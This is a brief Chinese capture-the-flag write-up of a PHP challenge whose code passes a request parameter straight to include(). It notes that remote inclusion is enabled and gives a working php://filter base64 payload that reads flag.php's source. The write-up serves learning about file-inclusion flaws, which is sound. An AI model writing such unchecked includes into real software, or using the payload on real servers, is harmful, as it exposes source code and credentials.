PHP_Code_Challenge-14-文件包含+php伪协议利用

题目

<?php 
show_source(__FILE__);
if(isset($_REQUEST['path'])){
    include($_REQUEST['path']);
}else{
    include('phpinfo.php');
}

分析

  1. include函数中包含变量path可控
  2. phpinfo中
allow_url_fopen=On
allow_url_include=On

故可远程包含getshell

知识点

文件包含

php伪协议利用方式

https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652474373&idx=1&sn=a4385c43e67ec00b13d3447310ea813b&chksm=f2582fb6c52fa6a035abaef33c4daf13c9aad86709569938066ef141bf3f84bd8811e4dfcdd3&mpshare=1&scene=23&srcid=&sharer_sharetime=1583601233105&sharer_shareid=573e169d70351017c968db63a63c0ed9#rd

解法

  1. 证明可包含

  2. getshell失败

  3. 利用php伪协议读取flag.php
    /challenge14.php?path=php://filter/read=convert.base64-encode/resource=flag.php

base64decode

原文地址:https://www.cnblogs.com/Rain99-/p/12681056.html